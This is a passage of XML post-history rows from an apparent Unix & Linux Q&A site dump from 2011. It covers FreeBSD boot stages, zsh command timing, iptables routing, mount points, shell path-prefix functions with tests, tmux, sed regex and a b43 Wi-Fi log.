  <row Id="29518" PostHistoryTypeId="2" PostId="12083" RevisionGUID="82b29bd7-52e7-4512-a100-bf337c4aa201" CreationDate="2011-04-26T22:13:46.347" UserId="6167" Text="I believe you are stuck at the `boot2` stage which normally loads `loader`.  `loader` is what is responsible for loading in hints, the kernel, and additional modules needed.  The hints won't help `boot2` find `loader`, they are for telling the the FreeBSD kernel how to find the hardware since FreeBSD has it's own device drivers and doesn't use the BIOS.  `boot2` and `loader` both rely on BIOS to talk to the hardware.  The fact that you got to `boot2` should indicate the BIOS is able to access your DOM, but `boot2` doesn't know which device it is.  You should have some limited command functionality and/or tab completion.  I don't have a FreeBSD box in front of me to test with but try typing either ?, h, or help.  Also, try tab completion by typing `(&lt;TAB&gt;` or `(ad&lt;TAB&gt;` or `(da&lt;TAB&gt;` and see if it lists possible devices.  I can also pull up a box later and test myself." />
  <row Id="29519" PostHistoryTypeId="2" PostId="12084" RevisionGUID="27e28a8c-8411-4e10-b401-28ea318ca60b" CreationDate="2011-04-26T22:38:42.177" UserId="1925" Text="Your options here are going to depend on your shell. In `zsh` there a function you can override called `preexec()` that is run right before any interactive shell commands. You can then follow up with `precmd()` which will run before a new prompt is drawn, which will be right after your command finishes. You could easily fetch a timestamp in `preexec()` then calculate the time from that in `precmd()` and output it before the prompt or log it away.&#xD;&#xA;&#xD;&#xA;Unfortunately in bash this little mechanism doesn't exist. Here is one man's [attempt to replicate it][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.twistedmatrix.com/users/glyph/preexec.bash.txt" />
  <row Id="29520" PostHistoryTypeId="2" PostId="12085" RevisionGUID="f436ca8b-7543-4ac1-bca9-a8347a63a1bf" CreationDate="2011-04-26T22:41:33.237" UserId="880" Text="I have rather an odd issue. I have a server with two network interfaces `eth0` and `eth1`. Each are connected to a different network. Each network has a internet gateway. The server has various *outbound* connections: http (some scripts on the server scrape websites), nfs client, samba client, dns client and an email fetcher to name but a few.&#xD;&#xA;&#xD;&#xA;For reasons I won't go into, I need to split these outbound clients up so outbound http, nfs, samba and dns traffic is only requested over `eth0` while everything else goes off through `eth1`.&#xD;&#xA;&#xD;&#xA;I've read around a few Google searches and it looks like `iptables` is what I'll need but I really haven't got a clue. I'm only used to managing inbound firewall rules through `ufw`.&#xD;&#xA;&#xD;&#xA;Could somebody start me off with a few example rules and tell me how to get the system to adopt these rules on boot? Ideally without locking me out of my SSH connection (I *can* get physical access, but I'd rather not)." />
  <row Id="29521" PostHistoryTypeId="1" PostId="12085" RevisionGUID="f436ca8b-7543-4ac1-bca9-a8347a63a1bf" CreationDate="2011-04-26T22:41:33.237" UserId="880" Text="Only allow certain outbound traffic on certain interfaces" />
  <row Id="29522" PostHistoryTypeId="3" PostId="12085" RevisionGUID="f436ca8b-7543-4ac1-bca9-a8347a63a1bf" CreationDate="2011-04-26T22:41:33.237" UserId="880" Text="énetworkingàéiptablesà" />
  <row Id="29524" PostHistoryTypeId="2" PostId="12086" RevisionGUID="2ddb5e0a-485a-4824-9fad-b73f83800035" CreationDate="2011-04-26T22:47:40.923" UserId="885" Text="There are misconceptions behind your questions.&#xD;&#xA;&#xD;&#xA;1. Swap is not mounted.&#xD;&#xA;2. Mounting isn't limited to partitions.&#xD;&#xA;&#xD;&#xA;## Partitions&#xD;&#xA;&#xD;&#xA;A [partition](http://en.wikipedia.org/wiki/Disk_partitioning) is a slice¹ of disk space that's devoted to a particular purpose. Here are some common purposes for partitions.&#xD;&#xA;&#xD;&#xA;* A [filesystem](http://en.wikipedia.org/wiki/File_system), i.e. files organized as a directory tree and stored in a format such as ext2, ext3, FFS, FAT, NTFS, …&#xD;&#xA;* Swap space, i.e. disk space used for [paging](http://en.wikipedia.org/wiki/Paging) (and storing [hibernation images](http://en.wikipedia.org/wiki/Hibernation_%28computing%29)).&#xD;&#xA;* Direct application access. Some databases store their data directly on a partition rather than on a filesystem to gain a little performance. (A filesystem is a kind of database anyway.)&#xD;&#xA;* A container for other partitions. For example, a [PC extended partition](http://en.wikipedia.org/wiki/Disk_partitioning#Extended_partition), or a disk [slice](http://en.wikipedia.org/wiki/Slice_%28disk%29) containing BSD partitions, or an [LVM](http://en.wikipedia.org/wiki/Logical_volume_management) physical volume (containing eventually logical volumes which can themselves be considered partitions), …&#xD;&#xA;&#xD;&#xA;## Filesystems&#xD;&#xA;&#xD;&#xA;[Filesystems](http://en.wikipedia.org/wiki/file_system) present information in a hierarchical structure. Here are some common kinds of filesystems:&#xD;&#xA;&#xD;&#xA;* Disk-backed filesystems, such as ext2, ext3, FFS, FAT, NTFS, …&#xD;&#xA;    * The backing need not be directly on a disk partition, as seen above. For example, this could be an [LVM](http://en.wikipedia.org/wiki/Logical_volume_management) logical volume, or a [loop mount](http://en.wikipedia.org/wiki/Loop_device).&#xD;&#xA;* Memory-backed filesystems, such as Solaris and Linux's [tmpfs](http://en.wikipedia.org/wiki/Tmpfs).&#xD;&#xA;* Filesystems that present information from the kernel, such as [`proc`](http://en.wikipedia.org/wiki/Procfs) and [`sysfs`](http://en.wikipedia.org/wiki/Sysfs) on Linux.&#xD;&#xA;* Network filesystems, such as [NFS](http://en.wikipedia.org/wiki/Network_File_System_%28protocol%29), [Samba](http://en.wikipedia.org/wiki/Samba_%28software%29), …&#xD;&#xA;* Application-backed filesystems, of which [FUSE](http://fuse.sourceforge.net/) has a [large collection](http://sourceforge.net/apps/mediawiki/fuse/index.php?title=FileSystems). Application-backed filesystems can do just about anything: make an FTP server appear as a filesystem, give an alternate view of a filesystem where file names are case-insensitive or converted to a different encoding, show archive contents as if they were directories, …&#xD;&#xA;&#xD;&#xA;## Mounting&#xD;&#xA;&#xD;&#xA;You make a filesystem accessible by mounting it. Mounting associates a directory with the root of the filesystem.&#xD;&#xA;&#xD;&#xA;* For example, the root filesystem is mounted at boot time (before the kernel starts any process²) to the `/` directory.&#xD;&#xA;* The proc filesystem over which some unix variants such as Solaris and Linux expose information about processes is mounted on `/proc`, so that `/proc/42/environ` designates the file `/42/environ` on the proc filesystem, which (on Linux, at least) contains a read-only view of the environment of process number 42.&#xD;&#xA;* If you have a separate filesystem e.g. for `/home`, then `/home/john/myfile.txt` designates the file whose path is `/john/myfile.txt` from the root of the home filesystem.&#xD;&#xA;&#xD;&#xA;Under Linux, it's possible for the same filesystem to be accessible through more than one path, thanks to [bind mounts](http://wiki.openvz.org/Bind_mounts).&#xD;&#xA;&#xD;&#xA;A typical Linux filesystems has many mounted filesystems. (This is an example, different distributions, versions and setups will lead to different filesystems being mounted.)&#xD;&#xA;&#xD;&#xA;* `/`: the root filesystem, mounted before the kernel loads the first process. The bootloader tells the kernel what to use as the root filesystem (it's usually a disk partition but could be something else such as an NFS export).&#xD;&#xA;* `/proc`: the [proc](http://en.wikipedia.org/wiki/Procfs) filessytem, with process and kernel information.&#xD;&#xA;* `/sys`: the [sysfs](http://en.wikipedia.org/wiki/Sysfs) filesystem, with information about hardware devices.&#xD;&#xA;* `/dev`: an in-memory filesystem where [device files](http://en.wikipedia.org/wiki/Device_file) are automatically created by [udev](http://en.wikipedia.org/wiki/Udev) based on available hardware.&#xD;&#xA;* `/dev/pts`: a special-purpose filesystem containing device files for running [terminal emulators](http://en.wikipedia.org/wiki/Terminal_emulator).&#xD;&#xA;* `/dev/shm`: an in-memory filesystem used for internal purposes by the system's standard library.&#xD;&#xA;* Depending on what system components you have running, you may see other special-purpose filesystems such as `binfmt_misc` (used by the [foreign executable file format kernel subsystem](http://en.wikipedia.org/wiki/Binfmt_misc)), `fusectl` (used by [FUSE](http://fuse.sourceforge.net/)), `nfsd` (used by the kernel NFS server), …&#xD;&#xA;* Any filesystem explicitly mentioned in `/etc/fstab` (and not marked `noauto`) is mounted as part of the boot process.&#xD;&#xA;* Any filesystem automatically mounted by [HAL](http://en.wikipedia.org/wiki/HAL_%28software%29) (or equivalent functionality) following the insertion of a device such as a USB key.&#xD;&#xA;* Any filesystem explicitly mounted with the `mount` command.&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt; Informally speaking here. &lt;/sub&gt;  &#xD;&#xA;² &lt;sub&gt; Initrd and suchlike are beyond the scope of this answer. &lt;/sub&gt;&#xD;&#xA;" />
  <row Id="29525" PostHistoryTypeId="4" PostId="12040" RevisionGUID="af9622c1-7aff-4536-93f7-70439f27ce6a" CreationDate="2011-04-26T22:49:22.437" UserId="885" Comment="title; tags" Text="What mount points exist on a typical Linux system?" />
  <row Id="29526" PostHistoryTypeId="6" PostId="12040" RevisionGUID="af9622c1-7aff-4536-93f7-70439f27ce6a" CreationDate="2011-04-26T22:49:22.437" UserId="885" Comment="title; tags" Text="élinuxàéfilesystemsàépartitionàémountà" />
  <row Id="29527" PostHistoryTypeId="6" PostId="12035" RevisionGUID="a7d57fb2-b77f-4bb0-821d-4d075462ed5f" CreationDate="2011-04-26T22:52:49.937" UserId="885" Comment="edited tags" Text="ézshàéautocompleteà" />
  <row Id="29528" PostHistoryTypeId="6" PostId="12026" RevisionGUID="37302403-dee1-4577-af11-760c985e2897" CreationDate="2011-04-26T22:53:03.730" UserId="885" Comment="edited tags" Text="élinuxàénetworkingàésecurityàévlanà" />
  <row Id="29529" PostHistoryTypeId="5" PostId="12084" RevisionGUID="293c6c14-1860-4ef2-a95a-f0b9b9e3719d" CreationDate="2011-04-26T22:55:42.870" UserId="1925" Comment="added 198 characters in body" Text="Your options here are going to depend on your shell. In `zsh` there a function you can override called `preexec()` that is run right before any interactive shell commands. You can then follow up with `precmd()` which will run before a new prompt is drawn, which will be right after your command finishes. You could easily fetch a timestamp in `preexec()` then calculate the time from that in `precmd()` and output it before the prompt or log it away. Example:&#xD;&#xA;&#xD;&#xA;    preexec() {&#xD;&#xA;       CMDSTART=$(date +%s%N)&#xD;&#xA;    }&#xD;&#xA;    precmd() {&#xD;&#xA;       CMDRUNTIME=$(($(date +%s%N)-$CMDSTART))&#xD;&#xA;       echo &quot;Last command ran for $CMDRUNTIME nanoseconds.&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Unfortunately in bash this little mechanism doesn't exist. Here is one man's [attempt to replicate it][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.twistedmatrix.com/users/glyph/preexec.bash.txt" />
  <row Id="29530" PostHistoryTypeId="6" PostId="12072" RevisionGUID="da775207-c225-4677-b2c6-699f6de1bfd4" CreationDate="2011-04-26T23:04:28.577" UserId="885" Comment="edited tags" Text="éxorgàékeyboardàéxkbà" />
  <row Id="29531" PostHistoryTypeId="25" PostId="12072" RevisionGUID="83d960a0-344e-4acf-9779-13ccf281d3c8" CreationDate="2011-04-27T00:09:13.213" Comment="http://twitter.com/#!/StackUnix/status/63031911433502720" />
  <row Id="29532" PostHistoryTypeId="5" PostId="12074" RevisionGUID="01fc250f-7db3-4c11-ac3f-6071d47aea43" CreationDate="2011-04-27T00:10:31.553" UserId="6761" Comment="added 259 characters in body" Text="There is xkb-switch which is described thus:&#xD;&#xA;&#xD;&#xA;&gt; xkb-switch is a C++ program that&#xD;&#xA;&gt; allows to query and change the XKB&#xD;&#xA;&gt; layout state.&#xD;&#xA;&#xD;&#xA;https://github.com/ierton/xkb-switch&#xD;&#xA;&#xD;&#xA;Or, following nozimica's suggestion, you could use:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;setxkbmap -print | grep xkb_symbols | awk '{print $4}' | awk -F&quot;+&quot; '{print $2}'&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;From this thread on the Arch Linux boards: https://bbs.archlinux.org/viewtopic.php?pid=539406" />
  <row Id="29533" PostHistoryTypeId="6" PostId="12075" RevisionGUID="d925e35d-eed7-48d8-a52a-229b944204ef" CreationDate="2011-04-27T00:28:18.770" UserId="885" Comment="edited tags" Text="étextöprocessingàéshellöscriptàélogsà" />
  <row Id="29534" PostHistoryTypeId="5" PostId="12074" RevisionGUID="735655db-f38d-4c95-95ef-824d304bb3f2" CreationDate="2011-04-27T00:29:08.253" UserId="6761" Comment="improved awk line" Text="There is xkb-switch which is described thus:&#xD;&#xA;&#xD;&#xA;&gt; xkb-switch is a C++ program that&#xD;&#xA;&gt; allows to query and change the XKB&#xD;&#xA;&gt; layout state.&#xD;&#xA;&#xD;&#xA;https://github.com/ierton/xkb-switch&#xD;&#xA;&#xD;&#xA;Or, following nozimica's suggestion, you could use:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;setxkbmap -print | grep xkb_symbols | awk -F&quot;+&quot; '{print $2}'&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;From this thread on the Arch Linux boards: https://bbs.archlinux.org/viewtopic.php?pid=539406" />
  <row Id="29535" PostHistoryTypeId="2" PostId="12087" RevisionGUID="3ee031f9-fa99-466f-bb6e-f73d590baf94" CreationDate="2011-04-27T00:59:31.623" UserId="885" Text="## POSIX&#xD;&#xA;&#xD;&#xA;To normalize the slashes in all the parameters, I'll use the rotating argument trick: shift `$1` off, transform it and put the result at the end of the parameter list. If you do that as many time as there are parameters, you've transformed all the parameters, and you've got them back in order.&#xD;&#xA;&#xD;&#xA;For the second part of the code, I changed your logic to be less confusing: the outer loop iterates over the parameters, and the inner loop iterates over path components. `for x; do … done` iterates over the positional parameters, it's a convenient idiom. I use a POSIX-compliant way of matching a string against a pattern: the `case` construct.&#xD;&#xA;&#xD;&#xA;Tested with dash 0.5.5.1, pdksh 5.2.14, bash 3.2.39, bash 4.1.5, ksh 93s+, zsh 4.3.10.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;Side note: there seems to be a bug in bash 4.1.5 (not in 3.2): if the case pattern is `&quot;${common_path%/}&quot;/*`, one of the tests fails.&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;    posix_path_common () {&#xD;&#xA;      for tmp; do&#xD;&#xA;        tmp=$(printf %s. &quot;$1&quot; | tr -s &quot;/&quot;)&#xD;&#xA;        set -- &quot;$@&quot; &quot;${tmp%.}&quot;&#xD;&#xA;        shift&#xD;&#xA;      done&#xD;&#xA;      common_path=$1; shift&#xD;&#xA;      for tmp; do&#xD;&#xA;        while case ${tmp%/}/ in &quot;${common_path%/}/&quot;*) false;; esac; do&#xD;&#xA;          new_common_path=${common_path%/*}&#xD;&#xA;          if [ &quot;$new_common_path&quot; = &quot;$common_path&quot; ]; then return 1; fi&#xD;&#xA;          common_path=$new_common_path&#xD;&#xA;        done&#xD;&#xA;      done&#xD;&#xA;      printf %s &quot;$common_path&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;## bash, ksh&#xD;&#xA;&#xD;&#xA;If you're in bash (or ksh), you can use arrays — I don't understand why you seem to be restricting yourself to the positional parameters. Here's a version that uses an array. I have to admit it's not particularly clearer than the POSIX version, but it does avoid the initial n^2 shuffling.&#xD;&#xA;&#xD;&#xA;For the slash normalization part, I use the ksh93 construct `${foo//PATTERN/REPLACEMENT}` construct to replace all occurrences of `PATTERN` in `$foo` by `REPLACEMENT`. The pattern is `+(\/)` to match one or more slash; under bash, `shopt -s extglob` must be in effect (equivalently, start bash with `bash -O extglob`). The construct `set ${!a[@]}` sets the positional parameters to the list of subscripts of the array `a`. This provides a convenient way to iterate over the elements of the array.&#xD;&#xA;&#xD;&#xA;For the second part, I the same loop logic as the POSIX version. This time, I can use `[[ … ]]` since all the shells targeted here support it.&#xD;&#xA;&#xD;&#xA;Tested with bash 3.2.39, bash 4.1.5, ksh 93s+.&#xD;&#xA;&#xD;&#xA;    array_path_common () {&#xD;&#xA;      typeset a i tmp common_path new_common_path&#xD;&#xA;      a=(&quot;$@&quot;)&#xD;&#xA;      set ${!a[@]}&#xD;&#xA;      for i; do&#xD;&#xA;        a[$i]=${a[$i]//+(\/)//}&#xD;&#xA;      done&#xD;&#xA;      common_path=${a[$1]}; shift&#xD;&#xA;      for tmp; do&#xD;&#xA;        tmp=${a[$tmp]}&#xD;&#xA;        while [[ &quot;${tmp%/}/&quot; != &quot;${common_path%/}/&quot;* ]]; do&#xD;&#xA;          new_common_path=&quot;${common_path%/*}&quot;&#xD;&#xA;          if [[ $new_common_path = $common_path ]]; then return 1; fi&#xD;&#xA;          common_path=&quot;$new_common_path&quot;&#xD;&#xA;        done&#xD;&#xA;      done&#xD;&#xA;      printf %s &quot;$common_path&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;## zsh&#xD;&#xA;&#xD;&#xA;Sadly, zsh lacks the `${!array[@]}` feature to execute the ksh93 version as-is. Fortunately, zsh has two features that make the first part a breeze. You can index the positional parameters as if they were the `@` array, so there's no need to use an intermediate array. And zsh has an array iteration construct: `&quot;${(@)array//PATTERN/REPLACEMENT}&quot;` performs the pattern replacement on each array element in turn and evaluates to the array of results (confusingly, you do need the double quotes even though the result is multiple words; this is a generalization of `&quot;$@&quot;`). The second part is essentially unchanged.&#xD;&#xA;&#xD;&#xA;    zsh_path_common () {&#xD;&#xA;      setopt local_options extended_glob&#xD;&#xA;      local tmp common_path new_common_path&#xD;&#xA;      set -- &quot;${(@)@//\/##//}&quot;&#xD;&#xA;      common_path=$1; shift&#xD;&#xA;      for tmp; do&#xD;&#xA;        while [[ &quot;${tmp%/}/&quot; != &quot;${common_path%/}/&quot;* ]]; do&#xD;&#xA;          new_common_path=&quot;${common_path%/*}&quot;&#xD;&#xA;          if [[ $new_common_path = $common_path ]]; then return 1; fi&#xD;&#xA;          common_path=&quot;$new_common_path&quot;&#xD;&#xA;        done&#xD;&#xA;      done&#xD;&#xA;      printf %s &quot;$common_path&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;## Test cases&#xD;&#xA;&#xD;&#xA;My solutions are minimally tested and commented. I've changed the syntax of your test cases to parse under shells that don't have `$'…'` and report failures in a more convenient way.&#xD;&#xA;&#xD;&#xA;    do_test () {&#xD;&#xA;      if test &quot;$@&quot;; then echo 0; else echo $? &quot;$@&quot;; failed=$(($failed+1)); fi&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    run_tests () {&#xD;&#xA;      function_to_test=$1; shift&#xD;&#xA;      failed=0&#xD;&#xA;      do_test &quot;$($function_to_test /a/b/c/d /a/b/e/f; echo x)&quot; = /a/bx&#xD;&#xA;      do_test &quot;$($function_to_test /long/names/foo /long/names/bar; echo x)&quot; = /long/namesx&#xD;&#xA;      do_test &quot;$($function_to_test / /a/b/c; echo x)&quot; = /x&#xD;&#xA;      do_test &quot;$($function_to_test a/b/c/d a/b/e/f ; echo x)&quot; = a/bx&#xD;&#xA;      do_test &quot;$($function_to_test ./a/b/c/d ./a/b/e/f; echo x)&quot; = ./a/bx&#xD;&#xA;      do_test &quot;$($function_to_test '&#xD;&#xA;    /&#xD;&#xA;    /&#xD;&#xA;    ' '&#xD;&#xA;    /&#xD;&#xA;    '; echo x)&quot; = '&#xD;&#xA;    /&#xD;&#xA;    'x&#xD;&#xA;      do_test &quot;$($function_to_test --/-- --; echo x)&quot; = '--x'&#xD;&#xA;      do_test &quot;$($function_to_test '' ''; echo x)&quot; = x&#xD;&#xA;      do_test &quot;$($function_to_test /foo/bar ''; echo x)&quot; = x&#xD;&#xA;      do_test &quot;$($function_to_test /foo /fo; echo x)&quot; = x&#xD;&#xA;      do_test &quot;$($function_to_test '--$`\! *@ \a\b\e\E\f\r\t\v\\\&quot;'\'' &#xD;&#xA;    ' '--$`\! *@ \a\b\e\E\f\r\t\v\\\&quot;'\'' &#xD;&#xA;    '; echo x)&quot; = '--$`\! *@ \a\b\e\E\f\r\t\v\\\&quot;'\'' &#xD;&#xA;    'x&#xD;&#xA;      do_test &quot;$($function_to_test /foo/bar //foo//bar//baz; echo x)&quot; = /foo/barx&#xD;&#xA;      do_test &quot;$($function_to_test foo foo; echo x)&quot; = foox&#xD;&#xA;      do_test &quot;$($function_to_test /fo /foo; echo x)&quot; = x&#xD;&#xA;      if [ $failed -ne 0 ]; then echo $failed failures; return 1; fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29536" PostHistoryTypeId="2" PostId="12088" RevisionGUID="8b0aa25d-7762-4732-a820-57598cfe0882" CreationDate="2011-04-27T01:08:27.553" UserId="1107" Text="Since you mention using `/` for searching, I will assume you are using vi-mode keys. The default `vi-edit` key table does not bind C-u (it is bound to `delete-line` in the `emacs-edit` key table).&#xD;&#xA;&#xD;&#xA;You can bind it manually (e.g. in your `.tmux.conf`, or after &amp;lt;prefix&amp;gt;`:`):&#xD;&#xA;&#xD;&#xA;    bind-key -t vi-edit C-u delete-line" />
  <row Id="29537" PostHistoryTypeId="2" PostId="12089" RevisionGUID="b1f5f591-6297-4bfa-87be-3d88e7095645" CreationDate="2011-04-27T01:34:03.560" UserId="4335" Text="I've recently started learning `sed`. I did&#xD;&#xA;&#xD;&#xA;    $seq 10 | sed '/[^049]/d'&#xD;&#xA;&#xD;&#xA;I was expecting&#xD;&#xA;   &#xD;&#xA;    4 &#xD;&#xA;    9&#xD;&#xA;    10&#xD;&#xA;as output. But I got&#xD;&#xA;&#xD;&#xA;    4&#xD;&#xA;    9&#xD;&#xA;Where am I making mistake in understanding this regex?" />
  <row Id="29538" PostHistoryTypeId="1" PostId="12089" RevisionGUID="b1f5f591-6297-4bfa-87be-3d88e7095645" CreationDate="2011-04-27T01:34:03.560" UserId="4335" Text="Sed : Unexppected output" />
  <row Id="29539" PostHistoryTypeId="3" PostId="12089" RevisionGUID="b1f5f591-6297-4bfa-87be-3d88e7095645" CreationDate="2011-04-27T01:34:03.560" UserId="4335" Text="ésedàéregexà" />
  <row Id="29540" PostHistoryTypeId="4" PostId="12089" RevisionGUID="34510ee8-6e37-4a83-b918-3d6dba48937f" CreationDate="2011-04-27T01:57:09.633" UserId="2511" Comment="edited title" Text="Why isn't this sed Reyes matching?" />
  <row Id="29541" PostHistoryTypeId="2" PostId="12090" RevisionGUID="89ffff5e-8a7d-45df-b3c7-cdecdf8c2d46" CreationDate="2011-04-27T02:02:54.957" UserId="3852" Text="the `1` in the number `10` matches `[^049]` so its deleted." />
  <row Id="29542" PostHistoryTypeId="4" PostId="12089" RevisionGUID="98431335-5fab-4a9c-9c4e-8389a032f838" CreationDate="2011-04-27T02:06:02.277" UserId="2511" Comment="Stupid autocorrect. " Text="Why isn't this sed regex matching?" />
  <row Id="29543" PostHistoryTypeId="4" PostId="12089" RevisionGUID="19bb5d13-e910-4650-a91b-70d7ff900a17" CreationDate="2011-04-27T02:06:03.573" UserId="2421" Comment="edited title" Text="Why isn't this sed regex matching?" />
  <row Id="29544" PostHistoryTypeId="5" PostId="12090" RevisionGUID="719b4b10-f18b-43f7-8cf9-7d15bbf44288" CreationDate="2011-04-27T02:21:15.987" UserId="2421" Comment="it's = it is; its = possessive pronoun" Text="The `1` in the number `10` matches `[^049]` so it's deleted." />
  <row Id="29545" PostHistoryTypeId="2" PostId="12091" RevisionGUID="ab5e01a6-bbf5-4c4f-8987-1aa891d3a392" CreationDate="2011-04-27T02:22:08.210" UserId="1107" Text="With *tmux* 1.4, I usually just use&#xD;&#xA;&#xD;&#xA;    tmux neww&#xD;&#xA;&#xD;&#xA;in a shell that already has the desired current working directory.&#xD;&#xA;&#xD;&#xA;If, however, I anticipate needing to create many windows with the same current working directory (or I want to be able to start them with the usual &amp;lt;prefix&amp;gt;`c` key binding), then I set the `default-path` session option via&#xD;&#xA;&#xD;&#xA;    tmux set-option default-path &quot;$PWD&quot;&#xD;&#xA;&#xD;&#xA;in a shell that already has the desired current working directory (though you could obviously do it from any directory and just specify the value instead).&#xD;&#xA;&#xD;&#xA;If `default-path` is set to a non-empty value, its value will be used instead of “inheriting” the current working directory from command-line invocations of `tmux neww`." />
  <row Id="29546" PostHistoryTypeId="25" PostId="12089" RevisionGUID="0be06349-7ecb-49a7-ab69-9a056de06b82" CreationDate="2011-04-27T03:09:13.973" Comment="http://twitter.com/#!/StackUnix/status/63077212143882240" />
  <row Id="29548" PostHistoryTypeId="2" PostId="12093" RevisionGUID="d8f69052-d202-4352-8ae0-28ff5b0d81e7" CreationDate="2011-04-27T03:31:30.607" UserId="6027" Text="[this page][1] says b43 supports my low power bcm4312  in my dell 1545 inspiron. &#xD;&#xA;&#xD;&#xA;kernel version 2.6.38-2-686-bigmem&#xD;&#xA;(just installed bigmem to see if it would make any difference. it didnt)&#xD;&#xA;&#xD;&#xA;i've been through the install / config instructions given above&#xD;&#xA;&#xD;&#xA;connection fails, dmesg gives &#xD;&#xA;&#xD;&#xA;    [   15.076260] b43-phy0: Loading firmware version 478.104 (2008-07-01 00:50:23)&#xD;&#xA;    [   16.542682] apm: BIOS not found.&#xD;&#xA;    [   20.768878] ADDRCONF(NETDEV_UP): wlan0: link is not ready&#xD;&#xA;    [   20.774024] sky2 0000:09:00.0: eth0: enabling interface&#xD;&#xA;    [   20.774659] ADDRCONF(NETDEV_UP): eth0: link is not ready&#xD;&#xA;    [   21.264653] Bluetooth: Core ver 2.15&#xD;&#xA;    [   21.264681] NET: Registered protocol family 31&#xD;&#xA;    [   21.264682] Bluetooth: HCI device and connection manager initialized&#xD;&#xA;    [   21.264685] Bluetooth: HCI socket layer initialized&#xD;&#xA;    [   21.298107] Bluetooth: L2CAP ver 2.15&#xD;&#xA;    [   21.298110] Bluetooth: L2CAP socket layer initialized&#xD;&#xA;    [   21.323169] Bluetooth: BNEP (Ethernet Emulation) ver 1.3&#xD;&#xA;    [   21.323173] Bluetooth: BNEP filters: protocol multicast&#xD;&#xA;    [   21.705622] Bluetooth: SCO (Voice Link) ver 0.6&#xD;&#xA;    [   21.705625] Bluetooth: SCO socket layer initialized&#xD;&#xA;    [   21.984164] Bluetooth: RFCOMM TTY layer initialized&#xD;&#xA;    [   21.984169] Bluetooth: RFCOMM socket layer initialized&#xD;&#xA;    [   21.984171] Bluetooth: RFCOMM ver 1.11&#xD;&#xA;    [   22.886256] sky2 0000:09:00.0: eth0: Link is up at 100 Mbps, full duplex, flow control rx&#xD;&#xA;    [   22.886385] ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready&#xD;&#xA;    [   24.540238] lp: driver loaded but no devices found&#xD;&#xA;    [   24.728386] ppdev: user-space parallel port driver&#xD;&#xA;    [   39.672728] wlan0: authenticate with 00:1f:6d:bb:7a:80 (try 1)&#xD;&#xA;    [   39.679173] wlan0: authenticated&#xD;&#xA;    [   39.679523] wlan0: associate with 00:1f:6d:bb:7a:80 (try 1)&#xD;&#xA;    [   39.693723] wlan0: RX AssocResp from 00:1f:6d:bb:7a:80 (capab=0x421 status=0 aid=99)&#xD;&#xA;    [   39.693727] wlan0: associated&#xD;&#xA;    [   39.694819] ADDRCONF(NETDEV_CHANGE): wlan0: link becomes ready&#xD;&#xA;    [   39.954082] EXT4-fs (sdb1): mounted filesystem with ordered data mode. Opts: (null)&#xD;&#xA;    [   41.588005] b43-phy0 ERROR: Fatal DMA error: 0x00000800, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000&#xD;&#xA;    [   41.588034] b43-phy0 ERROR: This device does not support DMA on your system. It will now be switched to PIO.&#xD;&#xA;    [   41.588040] b43-phy0: Controller RESET (DMA error) ...&#xD;&#xA;    [   41.588049] b43-phy0 ERROR: Fatal DMA error: 0x00000800, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000&#xD;&#xA;    [   41.588054] b43-phy0 ERROR: This device does not support DMA on your system. It will now be switched to PIO.&#xD;&#xA;    [   41.588059] b43-phy0: Controller RESET (DMA error) ...&#xD;&#xA;    [   41.816259] b43-phy0: Loading firmware version 478.104 (2008-07-01 00:50:23)&#xD;&#xA;    [   47.357568] b43-phy0: Controller restarted&#xD;&#xA;    [   48.856070] ieee80211 phy0: wlan0: No probe response from AP 00:1f:6d:bb:7a:80 after 500ms, disconnecting.&#xD;&#xA;    [   48.868459] cfg80211: Calling CRDA for country: US&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.debian.org/bcm43xx#supported-b43&#xD;&#xA;" />
  <row Id="29549" PostHistoryTypeId="1" PostId="12093" RevisionGUID="d8f69052-d202-4352-8ae0-28ff5b0d81e7" CreationDate="2011-04-27T03:31:30.607" UserId="6027" Text="debian testing bcm4312 low power connectivity issues" />
  <row Id="29550" PostHistoryTypeId="3" PostId="12093" RevisionGUID="d8f69052-d202-4352-8ae0-28ff5b0d81e7" CreationDate="2011-04-27T03:31:30.607" UserId="6027" Text="édebianàéwifià" />
  <row Id="29551" PostHistoryTypeId="5" PostId="11381" RevisionGUID="35421aa8-c765-4630-9f39-dc1a969f8fd5" CreationDate="2011-04-27T03:55:35.693" UserId="2343" Comment="deleted 16 characters in body; added 2 characters in body" Text="I don't quite know why you don't just use $1 $2, etc.. &#xD;&#xA;but..  This may suit your needs.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ script &quot;ed    it&quot; &quot;cat/dog&quot;  33.2  \D  &#xD;&#xA;&#xD;&#xA;      echo &quot;-------- Either use 'indirect reference'&quot;&#xD;&#xA;      for ((i=1;i&lt;=${#@};i++)) ;do&#xD;&#xA;        #  eval echo \&quot;\$$i\&quot; ..works, but as *pepoluan* &#xD;&#xA;        #    has pointed out: echo &quot;${!i}&quot; ..is better.&#xD;&#xA;        echo &quot;${!i}&quot;&#xD;&#xA;      done&#xD;&#xA;      echo &quot;-------- OR use an array&quot;&#xD;&#xA;      array=(&quot;$@&quot;)&#xD;&#xA;      for ((i=0;i&lt;${#array[@]};i++)) ;do&#xD;&#xA;        echo &quot;${array[$i]}&quot; &#xD;&#xA;      done&#xD;&#xA;      echo &quot;-------- OR use 'set'&quot;&#xD;&#xA;      set  &quot;$@&quot;&#xD;&#xA;      echo 